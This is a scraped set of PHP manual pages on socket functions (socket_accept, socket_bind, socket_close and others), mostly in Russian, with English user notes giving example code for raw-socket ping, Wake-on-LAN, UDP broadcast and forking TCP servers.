http://aidanlister.com/repos/v/function.hexdump.php
noSanity 17-May-2004 07:40
I have searched long and hard for a ping script that does NOT use EXEC() or SYSTEM(). So far, I have found nothing, so I decided to write my own, which was a task to say the least.

First off, I would like to thank Khaless for their checksum function, converting it from C looked like a task in itself.

Here is the class I wrote
<?php

class Net_Ping
{
  var $icmp_socket;
  var $request;
  var $request_len;
  var $reply;
  var $errstr;
  var $time;
  var $timer_start_time;
  function Net_Ping()
  {
    $this->icmp_socket = socket_create(AF_INET, SOCK_RAW, 1);
    socket_set_block($this->icmp_socket);
  }

  function ip_checksum($data)
  {
     for($i=0;$i<strlen($data);$i += 2)
     {
         if($data[$i+1]) $bits = unpack('n*',$data[$i].$data[$i+1]);
         else $bits = unpack('C*',$data[$i]);
         $sum += $bits[1];
     }

     while ($sum>>16) $sum = ($sum & 0xffff) + ($sum >> 16);
     $checksum = pack('n1',~$sum);
     return $checksum;
  }

  function start_time()
  {
    $this->timer_start_time = microtime();
  }

  function get_time($acc=2)
  {
    // format start time
    $start_time = explode (" ", $this->timer_start_time);
    $start_time = $start_time[1] + $start_time[0];
    // get and format end time
    $end_time = explode (" ", microtime());
    $end_time = $end_time[1] + $end_time[0];
    return number_format ($end_time - $start_time, $acc);
  }

  function Build_Packet()
  {
    $data = "abcdefghijklmnopqrstuvwabcdefghi"; // the actual test data
    $type = "\x08"; // 8 echo message; 0 echo reply message
    $code = "\x00"; // always 0 for this program
    $chksm = "\x00\x00"; // generate checksum for icmp request
    $id = "\x00\x00"; // we will have to work with this later
    $sqn = "\x00\x00"; // we will have to work with this later

    // now we need to change the checksum to the real checksum
    $chksm = $this->ip_checksum($type.$code.$chksm.$id.$sqn.$data);

    // now lets build the actual icmp packet
    $this->request = $type.$code.$chksm.$id.$sqn.$data;
    $this->request_len = strlen($this->request);
  }

  function Ping($dst_addr,$timeout=5,$percision=3)
  {
    // lets catch dumb people
    if ((int)$timeout <= 0) $timeout=5;
    if ((int)$percision <= 0) $percision=3;

    // set the timeout
    socket_set_option($this->icmp_socket,
      SOL_SOCKET,  // socket level
      SO_RCVTIMEO, // timeout option
      array(
       "sec"=>$timeout, // Timeout in seconds
       "usec"=>0  // I assume timeout in microseconds
       )
      );

    if ($dst_addr)
    {
      if (@socket_connect($this->icmp_socket, $dst_addr, NULL))
      {

      } else {
        $this->errstr = "Cannot connect to $dst_addr";
        return FALSE;
      }
      $this->Build_Packet();
      $this->start_time();
      socket_write($this->icmp_socket, $this->request, $this->request_len);
      if (@socket_recv($this->icmp_socket, &$this->reply, 256, 0))
      {
        $this->time = $this->get_time($percision);
        return $this->time;
      } else {
        $this->errstr = "Timed out";
        return FALSE;
      }
    } else {
      $this->errstr = "Destination address not specified";
      return FALSE;
    }
  }
}

$ping = new Net_Ping;
$ping->ping("www.google.ca");

if ($ping->time)
  echo "Time: ".$ping->time;
else
  echo $ping->errstr;

?>

Hope this saves some troubles.

noSanity
Khaless [at] bigpond [dot] com 18-Jan-2004 09:55
I spent a while trying to use SOCK_RAW to send ICMP request packets so i could ping. This however lead me to need the internet checksum written as a php function, which was a little hard because of the way PHP handles variable types. Anyway, to save others the effort heres what i came up with, this returns Checksum for $data

<?PHP
// Computes Internet Checksum for $data
// will return a 16-bit internet checksum for $data
function inetChecksum($data)
{
    // 32-bit accumilator, 16 bits at a time, adds odd bit on at end
    for($i=0;$i<strlen($data);$i += 2)
    {
        if($data[$i+1]) $bits = unpack('n*',$data[$i].$data[$i+1]);
        else $bits = unpack('C*',$data[$i]);
        $sum += $bits[1];
    }

    // Fold 32-bit sum to 16 bits
    while ($sum>>16) $sum = ($sum & 0xffff) + ($sum >> 16);
    $checksum = pack('n1',~$sum);
    return $checksum;
}
?>

And with this i was able to construct a correct PING Request.
murzik [at] pisem dot net 06-Oct-2003 04:32
>The function, that send the WakeOnLan (WOL, Magic packet) signal:

<?php
# Wake on LAN - (c) HotKey (at SPR dot AT), upgraded by Murzik <tomurzik@inbox.ru>

flush();

function WakeOnLan($addr, $mac)
{
 $addr_byte = explode(':', $mac);
 $hw_addr = '';

 for ($a=0; $a < 6; $a++) $hw_addr .= chr(hexdec($addr_byte[$a]));

 $msg = chr(255).chr(255).chr(255).chr(255).chr(255).chr(255);

 for ($a = 1; $a <= 16; $a++)    $msg .= $hw_addr;

 // send it to the broadcast address using UDP
 // SQL_BROADCAST option isn't help!!
 $s = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
 if ($s == false)
 {
  echo "Error creating socket!\n";
  echo "Error code is '".socket_last_error($s)."' - " . socket_strerror(socket_last_error($s));
 }
 else
 {
 // setting a broadcast option to socket:
  $opt_ret =  socket_set_option($s, 1, 6, TRUE);
  if($opt_ret < 0)
  {
   echo "setsockopt() failed, error: " . strerror($opt_ret) . "\n";
  }
  $e = socket_sendto($s, $msg, strlen($msg), 0, $addr, 2050);
  socket_close($s);
  echo "Magic Packet sent (".$e.") to ".$addr.", MAC=".$mac;
 }
}

#WakeOnLan('yourIPorDomain.dyndns.org', 'your:MAC:address');
#WakeOnLan('192.168.0.2', '00:30:84:2A:90:42');
#WakeOnLan('192.168.1.2', '00:05:1C:10:04:05');

//if you have switch or other routing devices in LAN, sendign to
// the local IP isn't helps! you need send to the broadcast address like this:
WakeOnLan('192.168.1.255', '00:05:1C:10:04:05');

?>
talmage at usi-rpg dot com 04-Jan-2003 12:02
I have spent the past two days ripping out hair trying to figure out how to prevent zombie processes w/the examples above and I just happend to find this in the manual for another lanuage, felt it neccassry to port it here.

--begin copy--
van[at]webfreshener[dot]com
11-Oct-2002 02:53

Forking your PHP daemon will cause it to zombie on exit.

...or so I've seen on:
FreeBSD (PHP4.2.x)
Debian (PHP4.3.0-dev)
Darwin (PHP4.3.0-dev)

This was tested with the example code above and other scripts created for evaluation.

Seems adding <b>--enable-sigchild</b> to your configure will get rid of the problem.

Hope that saves some hair tearing :]

--end copy--

Thanks vam@wenfreshener.com !!!!
saryon at unfix dot org 09-Jul-2002 09:42
I found this EXTREMELY useful link on the zend php
mailing list:

http://www.zend.com/lists/php-dev/200205/msg00286.html

It's about being able to use multiple connections
in a php socket server, WITHOUT having
to use those threads everyone seems to be
so very fond of.
works very well :)
(ps: i didn't make it, so....don't say thanks to me ;),
thank him)
daniel[at]lorch.cc 22-Feb-2002 09:32
"Beej's Guide to Network Programming" is an absolutely excellent and easy to understand tutorial to socket programming. It was written for C developers, but as the socket functions in PHP are (almost) analoguous, this should not be a problem.

http://www.ecst.csuchico.edu/~beej/guide/net/
judeman at yahoo dot com 04-Jun-2001 10:49
After several hours of working with sockets in an attempt to do UDP broadcasting, I thought a little help was in order for anyone else looking to do something similar, since it uses a number of those "undocumented" functions.  Here's how I did it:

<?php
    // here is a basic opening of the a socket.  AF_INET specifies the internet domain.  SOCK_DGRAM
// specifies the Datagram socket type the 0 specifies that I want to use the default protcol (which in this
// case is UDP)
    $sock = socket(AF_INET, SOCK_DGRAM, 0);

    // if the file handle assigned to socket is less than 0 then opening the socket failed
    if($sock < 0)
    {
        echo "socket() failed, error: " . strerror($sock) . "\n";
    }

    // here's where I set the socket options, this is essential to allow broadcasting.  An earlier comment (as of
// June 4th, 2001) explains what the parameters are.  For my purposes (UDP broadcasting) I need to set
// the broadcast option at the socket level to true.  In C, this done using SOL_SOCKET as the level param
// (2) and SO_BROADCAST as the type param (3).  These may exist in PHP but I couldn't reference them
// so I used the values that referencing these variables in C returns (namely 1 and 6 respectively).  This
// function is basically just a wrapper to the C  function so check out the C documentation for more info
    $opt_ret = setsockopt($sock, 1, 6, TRUE);

    // if the return value is less than one, an error occured setting the options
    if($opt_ret < 0)
    {
        echo "setsockopt() failed, error: " . strerror($opt_ret) . "\n";
    }

    // finally I am ready to broad cast something.  The sendto function allows this without any
// connections (essential for broadcasting).  So, this function sends the contents of $broadcast_string to the
// general broadcast address (255.255.255.255) on port 4096.  The 0 (param 4) specifies no special
// options, you can read about the options with man sendto
    $send_ret = sendto($sock, $broadcast_string, strlen($broadcast_string), 0, '255.255.255.255', 4096);

// if the return value is less than 0, an error has occured
    if($send_ret < 0)
    {
    echo "sendto() failed, error: " . strerror($send_ret) . "<BR>\n";            }
// be sure to close your socket when you're done
close($sock);


Принимает соединение на сокете

  • « Функции сокета
  • socket_addrinfo_bind »
  • PHP Manual
  • Функции сокета
  • Принимает соединение на сокете

socket_accept

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_accept — Принимает соединение на сокете

Описание

socket_accept(Socket $socket): Socket|false

После того, как сокет socket был создан при помощи функции socket_create(), привязан к имени при помощи функции socket_bind(), и ему было указано слушать соединения при помощи функции socket_listen(), эта функция будет принимать входящие соединения на этом сокете. Как только произошло удачное соединение, возвращается экземпляр Socket, который может быть использован для связи. Если в очереди сокета есть несколько соединений, будет использовано первое из них. Если нет ожидающих соединений, то функция socket_accept() будет блокировать выполнение скрипта до тех пор, пока не появится соединение. Если сокет socket был сделан неблокирующим при помощи функции socket_set_blocking() или socket_set_nonblock(), будет возвращено false.

Экземпляр Socket, полученный при помощи функции socket_accept() не может быть использован для принятия новых соединений. Однако изначальный слушающий сокет socket, остаётся открытым и может быть использован повторно.

Список параметров

socket

Экземпляр Socket, созданный при помощи функции socket_create().

Возвращаемые значения

В случае успешного выполнения возвращает экземпляр Socket или false в случае возникновения ошибки. Код ошибки может быть получен при помощи вызова функции socket_last_error(). Этот код ошибки может быть передан функции socket_strerror() для получения текстового описания ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция возвращает экземпляр Socket; ранее возвращался ресурс (resource).

Смотрите также

  • socket_connect() - Начинает соединение с сокетом
  • socket_listen() - Прослушивает входящие соединения на сокете
  • socket_create() - Создаёт сокет (конечную точку для обмена информацией)
  • socket_bind() - Привязывает имя к сокету
  • socket_strerror() - Возвращает строку, описывающую ошибку сокета

User Contributed Notes

renmengyang567 at gmail dot com 07-Apr-2019 06:25
<explain>
 This case is a very simple interaction between the TCP client side and the TCP server side

<?php
// create for simple-tcp-server
$sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
socket_bind($sock, '127.0.0.1',5000);
socket_listen($sock,1);
$clnt_sock = socket_accept($sock); //??
$st = "hello world ^_^";
socket_write($clnt_sock, $st,strlen($st));
socket_close($clnt_sock);
socket_close($sock);
?>

<?php
//create for simple-tcp-client
$clnt_sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
socket_connect($clnt_sock, '127.0.0.1', 5000);
$ret= socket_read($clnt_sock, 1024);
print "from simple-tcp-server:".$ret.PHP_EOL;
socket_close($clnt_sock);
?>

<fruit>
from simple-tcp-server:hello world ^_^
mightyplow at gmail dot com 18-May-2014 02:47
In order to make many clients connectable to the server, you have to set the accepted socket also to non-blocking. Otherwise the accepted connection will block further incoming connections.

while (true) {
    $newSock = @socket_accept($sock);

    if ($newSock) {
        echo 'client connected';

        socket_set_nonblock($newSock);
    }
}
Boylett 18-Apr-2008 09:01
If you want to have multiple clients on a server you will have to use non blocking.

<?php

$clients = array();
$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_bind($socket,'127.0.0.1',$port);
socket_listen($socket);
socket_set_nonblock($socket);

while(true)
{
    if(($newc = socket_accept($socket)) !== false)
    {
        echo "Client $newc has connected\n";
        $clients[] = $newc;
    }
}

?>
lars at opdenkamp dot eu 29-Jan-2008 04:35
If you want to make a daemon process that forks on each client connection, you'll find out that there's a bug in PHP. The child processes send SIGCHLD to their parent when they exit but the parent can't handle signals while it's waiting for socket_accept (blocking).

Here is a piece of code that makes a non-blocking forking server.

#!/usr/bin/php -q
<?php
/**
  * Listens for requests and forks on each connection
  */

$__server_listening = true;

error_reporting(E_ALL);
set_time_limit(0);
ob_implicit_flush();
declare(ticks = 1);

become_daemon();

/* nobody/nogroup, change to your host's uid/gid of the non-priv user */
change_identity(65534, 65534);

/* handle signals */
pcntl_signal(SIGTERM, 'sig_handler');
pcntl_signal(SIGINT, 'sig_handler');
pcntl_signal(SIGCHLD, 'sig_handler');

/* change this to your own host / port */
server_loop("127.0.0.1", 1234);

/**
  * Change the identity to a non-priv user
  */
function change_identity( $uid, $gid )
{
    if( !posix_setgid( $gid ) )
    {
        print "Unable to setgid to " . $gid . "!\n";
        exit;
    }

    if( !posix_setuid( $uid ) )
    {
        print "Unable to setuid to " . $uid . "!\n";
        exit;
    }
}

/**
  * Creates a server socket and listens for incoming client connections
  * @param string $address The address to listen on
  * @param int $port The port to listen on
  */
function server_loop($address, $port)
{
    GLOBAL $__server_listening;

    if(($sock = socket_create(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        echo "failed to create socket: ".socket_strerror($sock)."\n";
        exit();
    }

    if(($ret = socket_bind($sock, $address, $port)) < 0)
    {
        echo "failed to bind socket: ".socket_strerror($ret)."\n";
        exit();
    }

    if( ( $ret = socket_listen( $sock, 0 ) ) < 0 )
    {
        echo "failed to listen to socket: ".socket_strerror($ret)."\n";
        exit();
    }

    socket_set_nonblock($sock);

    echo "waiting for clients to connect\n";

    while ($__server_listening)
    {
        $connection = @socket_accept($sock);
        if ($connection === false)
        {
            usleep(100);
        }elseif ($connection > 0)
        {
            handle_client($sock, $connection);
        }else
        {
            echo "error: ".socket_strerror($connection);
            die;
        }
    }
}

/**
  * Signal handler
  */
function sig_handler($sig)
{
    switch($sig)
    {
        case SIGTERM:
        case SIGINT:
            exit();
        break;

        case SIGCHLD:
            pcntl_waitpid(-1, $status);
        break;
    }
}

/**
  * Handle a new client connection
  */
function handle_client($ssock, $csock)
{
    GLOBAL $__server_listening;

    $pid = pcntl_fork();

    if ($pid == -1)
    {
        /* fork failed */
        echo "fork failure!\n";
        die;
    }elseif ($pid == 0)
    {
        /* child process */
        $__server_listening = false;
        socket_close($ssock);
        interact($csock);
        socket_close($csock);
    }else
    {
        socket_close($csock);
    }
}

function interact($socket)
{
    /* TALK TO YOUR CLIENT */
}

/**
  * Become a daemon by forking and closing the parent
  */
function become_daemon()
{
    $pid = pcntl_fork();

    if ($pid == -1)
    {
        /* fork failed */
        echo "fork failure!\n";
        exit();
    }elseif ($pid)
    {
        /* close the parent */
        exit();
    }else
    {
        /* child becomes our daemon */
        posix_setsid();
        chdir('/');
        umask(0);
        return posix_getpid();

    }
}

?>
gmkarl at gmail dot com 22-May-2007 09:15
Be aware signal handler functions set with pcntl_signal are not called while a socket is blocking waiting for a connection; the signal is absorbed silently and the handler called when a connection is made.
simon at 180solutions dot com 16-May-2005 08:11
>Accepting a connection using php-sockets:
>
>$fd = socket_create(AF_INET, SOCK_STREAM, 6 /* OR >getprotobyname("TCP")*/);
>
>$PORT = 5000;
>
>socket_bind($fd, "0.0.0.0", $PORT);
>
>while(true)
>{
>$remote_fd = socket_accept($fd);
>
>remote_socket_client_handle($remote_fd);
>
>}
>
>It is simple!

This example doesn't work. You have to call socket_listen($fd) after your bind in order to accept incoming connections.

Simon
Greg MacLellan 11-Dec-2003 12:49
The socket returned by this resource will be non-blocking, regardless of what the listening socket is set to. This is actually true for all FCNTL modifiers.


Создать и привязать к сокету из указанного addrinfo

  • « socket_accept
  • socket_addrinfo_connect »
  • PHP Manual
  • Функции сокета
  • Создать и привязать к сокету из указанного addrinfo

socket_addrinfo_bind

(PHP 7 >= 7.2.0, PHP 8)

socket_addrinfo_bind — Создать и привязать к сокету из указанного addrinfo

Описание

socket_addrinfo_bind(AddressInfo $address): Socket|false

Создать экземпляр Socket и привязать его с предоставленным AddressInfo. Возвращаемое значение этой функции может использоваться с socket_listen().

Список параметров

address

Экземпляр AddressInfo, созданный с помощью socket_addrinfo_lookup().

Возвращаемые значения

Возвращает экземпляр Socket в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция возвращает экземпляр Socket; ранее возвращался ресурс (resource).
8.0.0 | address теперь экземпляр класса AddressInfo; ранее был ресурсом (resource).

Смотрите также

  • socket_addrinfo_connect() - Создать и подключиться к сокету из указанного addrinfo
  • socket_addrinfo_explain() - Получить информацию о addrinfo
  • socket_addrinfo_lookup() - Получить массив с содержимым getaddrinfo про указанное имя хоста
  • socket_listen() - Прослушивает входящие соединения на сокете

User Contributed Notes

There are no user contributed notes for this page.


Создать и подключиться к сокету из указанного addrinfo

  • « socket_addrinfo_bind
  • socket_addrinfo_explain »
  • PHP Manual
  • Функции сокета
  • Создать и подключиться к сокету из указанного addrinfo

socket_addrinfo_connect

(PHP 7 >= 7.2.0, PHP 8)

socket_addrinfo_connect — Создать и подключиться к сокету из указанного addrinfo

Описание

socket_addrinfo_connect(AddressInfo $address): Socket|false

Создать экземпляр Socket и подключить его к предоставленному экземпляру AddressInfo. Возвращаемое значение этой функции может использоваться с остальными функциями сокета.

Список параметров

address

Экземпляр AddressInfo, созданный с помощью socket_addrinfo_lookup()

Возвращаемые значения

Возвращает экземпляр Socket в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция возвращает экземпляр Socket; ранее возвращался ресурс (resource).
8.0.0 | address теперь экземпляр класса AddressInfo; ранее был ресурсом (resource).

Смотрите также

  • socket_addrinfo_bind() - Создать и привязать к сокету из указанного addrinfo
  • socket_addrinfo_explain() - Получить информацию о addrinfo
  • socket_addrinfo_lookup() - Получить массив с содержимым getaddrinfo про указанное имя хоста

User Contributed Notes

There are no user contributed notes for this page.


Получить информацию о addrinfo

  • « socket_addrinfo_connect
  • socket_addrinfo_lookup »
  • PHP Manual
  • Функции сокета
  • Получить информацию о addrinfo

socket_addrinfo_explain

(PHP 7 >= 7.2.0, PHP 8)

socket_addrinfo_explain — Получить информацию о addrinfo

Описание

socket_addrinfo_explain(AddressInfo $address): array

Функция socket_addrinfo_explain() предоставляет доступ к базовой структуре addrinfo.

Список параметров

address

Экземпляр AddressInfo, созданный с помощью socket_addrinfo_lookup()

Возвращаемые значения

Возвращает массив, содержащий поля в структуре addrinfo.

Список изменений

Версия | Описание
8.0.0 | address теперь экземпляр класса AddressInfo; ранее был ресурсом (resource).

Смотрите также

  • socket_addrinfo_bind() - Создать и привязать к сокету из указанного addrinfo
  • socket_addrinfo_connect() - Создать и подключиться к сокету из указанного addrinfo
  • socket_addrinfo_lookup() - Получить массив с содержимым getaddrinfo про указанное имя хоста

User Contributed Notes

There are no user contributed notes for this page.


Получить массив с содержимым getaddrinfo про указанное имя хоста

  • « socket_addrinfo_explain
  • socket_atmark »
  • PHP Manual
  • Функции сокета
  • Получить массив с содержимым getaddrinfo про указанное имя хоста

socket_addrinfo_lookup

(PHP 7 >= 7.2.0, PHP 8)

socket_addrinfo_lookup — Получить массив с содержимым getaddrinfo про указанное имя хоста

Описание

socket_addrinfo_lookup(string $host, ?string $service = null, array $hints = []): array|false

Поиск различных способов подключения к хосту (host). Возвращаемый массив содержит набор экземпляров AddressInfo, которые можно привязать с помощью socket_addrinfo_bind().

Список параметров

host

Имя хоста для поиска.

service

Сервис для подключения. Если значение является числовой строкой, оно обозначает порт. В противном случае - это имя сетевой службы, которое сопоставляется с портом операционной системы.

hints

Подсказки предоставляют критерии выбора возвращаемых адресов. Вы можете указать подсказки, как определено getaddrinfo.

Возвращаемые значения

Возвращает массив экземпляров AddressInfo, которые можно использовать с другими функциями socket_addrinfo. В случае возникновения ошибки возвращает false.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция возвращает массив экземпляров AddressInfo; ранее возвращался ресурс (resource).
8.0.0 | service теперь допускает значение null.

Смотрите также

  • socket_addrinfo_bind() - Создать и привязать к сокету из указанного addrinfo
  • socket_addrinfo_connect() - Создать и подключиться к сокету из указанного addrinfo
  • socket_addrinfo_explain() - Получить информацию о addrinfo

User Contributed Notes

There are no user contributed notes for this page.


Determines whether socket is at out-of-band mark

  • « socket_addrinfo_lookup
  • socket_bind »
  • PHP Manual
  • Функции сокета
  • Determines whether socket is at out-of-band mark

socket_atmark

(PHP 8 >= 8.3.0, PHP 8)

socket_atmark — Determines whether socket is at out-of-band mark

Описание

socket_atmark(Socket $socket): bool

Determines whether socket is at out-of-band mark.

Список параметров

socket

A Socket instance created with socket_create().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Using socket_atmark() to set the source address

<?php
// Create a new socket
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
var_dump(socket_atmark($sock));
// Close
socket_close($sock);
?>

Смотрите также

  • socket_connect() - Начинает соединение с сокетом
  • socket_create() - Создаёт сокет (конечную точку для обмена информацией)

User Contributed Notes

There are no user contributed notes for this page.


Привязывает имя к сокету

  • « socket_atmark
  • socket_clear_error »
  • PHP Manual
  • Функции сокета
  • Привязывает имя к сокету

socket_bind

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_bind — Привязывает имя к сокету

Описание

socket_bind(Socket $socket, string $address, int $port = 0): bool

Привязывает имя, указанное в параметре address, к сокету, описанному в параметре socket. Это должно быть сделано до того, как соединение установлено при помощи функции socket_connect() или socket_listen().

Список параметров

socket

Экземпляр Socket, созданный при помощи функции socket_create().

address

Если сокет из семейства AF_INET, то параметр address должен быть IP-адресом в записи, разделённой точками (например, 127.0.0.1).

Если сокет из семейства AF_UNIX, то параметр address - это путь к доменному сокету Unix (например, /tmp/my.sock).

port (Optional)

Параметр port используется, только когда имя привязывается к сокету AF_INET, и указывает порт, на котором будут слушаться соединения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Код ошибки может быть получен при помощи функции socket_last_error(). Этот код может быть передан функции socket_strerror() для получения текстового описания ошибки.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).

Примеры

Пример #1 Использование функции socket_bind() для установки адреса источника

<?php
// Создаём новый сокет
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

// Пример списка IP-адресов, которые есть на компьютере
$sourceips['kevin'] = '127.0.0.1';
$sourceips['madcoder'] = '127.0.0.2';

// Привязываем адрес источника
socket_bind($sock, $sourceips['madcoder']);

// Соединяемся с адресом назначения
socket_connect($sock, '127.0.0.1', 80);

// Пишем в сокет
$request = 'GET / HTTP/1.1' . "\r\n" .
'Host: example.com' . "\r\n\r\n";
socket_write($sock, $request);

// Закрываем сокет
socket_close($sock);

?>

Примечания

Замечание:

Эта функция должна быть применена на сокете перед вызовом socket_connect().

Замечание:

Примечание по совместимости с Windows 9x/ME: Функция socket_last_error() может возвращать неверный код ошибки при попытке связать с сокетом неверный адрес, который не принадлежит вашей машине.

Смотрите также

  • socket_connect() - Начинает соединение с сокетом
  • socket_listen() - Прослушивает входящие соединения на сокете
  • socket_create() - Создаёт сокет (конечную точку для обмена информацией)
  • socket_last_error() - Возвращает последнюю ошибку на сокете
  • socket_strerror() - Возвращает строку, описывающую ошибку сокета

User Contributed Notes

ealexs at gmail dot com 22-Feb-2022 12:25
I am posting this as I've spent a few hours debugging this.

If you use socket_create / socket_bind with Unix domain sockets, then using socket_close at the end is not sufficient. You will get "address already in use" the second time you run your script. Call unlink on the file that is used for Unix domain sockets, preferably before you start to create the socket.

<?php

$socket_file = "./test.sock";

if (file_exists($socket_file))
        unlink($socket_file);
# optional file lock
$socket = socket_create(AF_UNIX, SOCK_STREAM, 0);
# ... socket_set_option ...
socket_bind($socket, $socket_file);
# ...
socket_close($socket);
# optional : release lock
unlink($socket_file);

?>
gabriel at plenitech dot fr 23-Jun-2013 12:29
When doing Unix sockets, it might be necessary to chmod the socket file so as to give Write permission to Group and/or Others. Otherwise, only the owner is allowed to write data into the stream.

Example:

<?php
$sockpath = '/tmp/my.sock';
socket_bind($socket, $sockpath);
//here: write-only (socket_send) to others, only owner can fetch data.
chmod($sockpath, 0702);
?>
dresende at thinkdigital dot pt 21-Nov-2011 09:39
Regarding previous post:

"0" has address is no different from "0.0.0.0"

127.0.0.1 -> accept only from local host
w.x.y.z (valid local IP) -> accep only from this network
0.0.0.0 -> accept from anywhere
Mex 13-Sep-2011 05:25
It appears for the $address parameter:

'127.0.0.1'
accepts clients from localhost (eg. 127.0.0.1)

'0.0.0.0'
accepts clients from localhost, and the server's network (eg. 127.0.0.1, 192.168.2.5, 10.20.30.40)

'0' or 0
accepts clients from localhost, the server's network, and external networks (eg. 127.0.0.1, 192.168.2.5, 10.20.30.40, 209.85.169.99)
php50613160534 dot 3 dot korkman at spamgourmet dot org 13-Jun-2005 06:16
Use 0 for port to bind a random (free) port for incoming connections:

socket_bind ($socket, $bind_address, 0);
socket_getsockname($socket, $socket_address, $socket_port);
socket_listen($socket);
...

$socket_port contains the assigned port, you might want to send it to a remote client connecting. Tested with php 5.03.
gasket at cekkent dot net 03-May-2003 06:19
The aforementioned tidbit about using NULL to bind to all addresses did not work for me, as I would receive an error about unknown address. Using a 0 worked for me:

socket_bind ($socket, 0, $port)

This also allows you to receive UDP broadcasts, which is what I had been trying to figure out.
keksov[at]gmx.de 10-Jun-2002 11:22
If you want to reuse address and port, and get rid of error: unable to bind, address already in use, you have to use socket_setopt (check actual spelling for this function in you PHP verison) before calling bind:

<?php
if (!socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1)) {
    echo socket_strerror(socket_last_error($sock));
    exit;
}
?>

This solution was found by
Christophe Dirac. Thank you Christophe!


Очищает ошибку на сокете или последний код ошибки

  • « socket_bind
  • socket_close »
  • PHP Manual
  • Функции сокета
  • Очищает ошибку на сокете или последний код ошибки

socket_clear_error

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

socket_clear_error — Очищает ошибку на сокете или последний код ошибки

Описание

socket_clear_error(?Socket $socket = null): void

Эта функция очищает код ошибки на указанном сокете или последнюю глобальную ошибку сокета, если сокет не указан.

Эта функция позволяет принудительно сбросить значение кода ошибки для сокета или последний глобальный код ошибки модуля. Это может быть полезно для определения внутри части приложения, произошла ошибка или нет.

Список параметров

socket

Экземпляр Socket, созданный при помощи функции socket_create().

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).
8.0.0 | socket теперь допускает значение null.

Смотрите также

  • socket_last_error() - Возвращает последнюю ошибку на сокете
  • socket_strerror() - Возвращает строку, описывающую ошибку сокета

User Contributed Notes

raphael at engenhosweb dot com dot br 27-Jul-2011 02:45
You can do this too, with anonymous function:
<?php
$socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP) or function() {
            $errstr = socket_strerror(socket_last_error());
            echo ("Failed to create socket: " . $errstr);
            socket_clear_error();
        };
?>
ludvig dot ericson at gmail dot com 23-May-2006 04:08
If you want to clear your error in a small amount of code, do a similar hack as to what most people do in SQL query checking,
<?php
$result = mysql_query($sql) or die(/* Whatever code */);
?>

It could look like this:
<?php
if (!($socket = socket_create(/* Whatever code */)) {
    echo ("Failed to create socket: " . socket_strerror(socket_last_error()) and socket_clear_error());
}
?>

As you can see, I use "and" here instead of "or" since the first part will always return true, thus if you use or PHP's lazy boolean checking will not execute the last part, which it will with an and if the first part is true.


Закрывает экземпляр Socket

  • « socket_clear_error
  • socket_cmsg_space »
  • PHP Manual
  • Функции сокета
  • Закрывает экземпляр Socket

socket_close

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_close — Закрывает экземпляр Socket

Описание

socket_close(Socket $socket): void

Функция socket_close() закрывает экземпляр Socket, указанный параметром socket.

Список параметров

socket

Экземпляр Socket, созданный при помощи функций socket_create() или socket_accept().

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).

Смотрите также

  • socket_bind() - Привязывает имя к сокету
  • socket_listen() - Прослушивает входящие соединения на сокете
  • socket_create() - Создаёт сокет (конечную точку для обмена информацией)
  • socket_strerror() - Возвращает строку, описывающую ошибку сокета

User Contributed Notes

yaBliznyk at gmail dot com 04-Apr-2017 10:46
/* any code */
$linger = array ('l_linger' => 0, 'l_onoff' => 1);
socket_set_option($socket, SOL_SOCKET, SO_LINGER, $linger);
socket_close($sock);

This is code to force close socket connection.
aeolianmeson at NOSPAM dot blitzeclipse dot com 29-May-2006 10:24
PHP: 5.1.4
Summary: close() does not relinquish socket immediately.

With the BSD socket implementation (which is the socket interface used by PHP), a socket_close() may close the socket, but there may yet be data to send. Until the data is sent, the port will not be available. Therefore, all further bindings attempted on that port will not be acceptable due to the 'port can not be reused' (the approximate message, anyway) error. Ordinarily, if the REUSABLE socket option is set, the only thing that will raise such an error is a binding to a specific IP/PORT combination that is already bound.

To avoid this problem, you must tell it to delay returning until the port either sends the rest of its data, or times-out in doing it. This is done via the SO_LINGER option. To set this option, it requires an array of two elements: the first indicates whether a linger is required on any data before the shutdown completes, and the second indicates whether we actually linger. If we set a nonzero to the first while setting a zero to the second, we would simply drop whatever data is waiting in the buffer, and close the socket. To tell it simply to wait on the data to be sent, you send a non-zero for both: array(1, 1).

Note that if you have indicated not to block (socket_set_nonblock()), it will simply exit no matter what, much like it usually would. In this case it bursts an EWOULDWAIT flag, but since I don't think we have access to these socket flags in PHP, one should re-enable blocking right before they set the linger and quit.

    // These commands get fed straight through to the Unix socket libraries.. That's why they're a little more C-like.
    $arrOpt = array('l_onoff' => 1, 'l_linger' => 1);
    socket_set_block($this->Socket);
    socket_set_option($this->Socket, SOL_SOCKET, SO_LINGER, $arrOpt);
    socket_close($this->Socket);
chaos 07-Jun-2002 03:57
Sometimes it seems that you have to shutdown() a socket before you can close() it. I experienced that while making a chatserver in PHP with this cool socket extension.


Вычислить размер буфера сообщения

  • « socket_close
  • socket_connect »
  • PHP Manual
  • Функции сокета
  • Вычислить размер буфера сообщения

socket_cmsg_space

